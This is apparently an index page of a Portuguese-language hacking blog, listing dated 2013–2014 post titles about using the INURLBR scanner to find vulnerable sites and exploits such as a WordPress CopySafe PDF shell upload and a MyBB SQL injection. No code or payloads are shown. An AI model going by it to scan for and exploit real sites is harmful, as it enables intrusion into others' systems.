SCANNER INURLBR + Exploit Vulnerability Joomla Plugin Calendar

0xSCAN + EXPLOIT

0xVÍDEO[0]

0xVÍDEO[1]

terça-feira, 5 de agosto de 2014

WordPress CopySafe PDF Protection 0.6 Shell Upload

0x WordPress CopySafe PDF Protection 0.6 Shell Upload

terça-feira, 13 de maio de 2014

Procurando site com Simple PHP Blog usando scanner inurl

domingo, 15 de dezembro de 2013

Hacker demonstra "execução remota de código PHP" vulnerabilidade no site EBay.

quarta-feira, 27 de novembro de 2013

Usando SCANNER INURL para encontrar falhas / Mybb Ajaxfs Plugin Sql Injection vulnerability.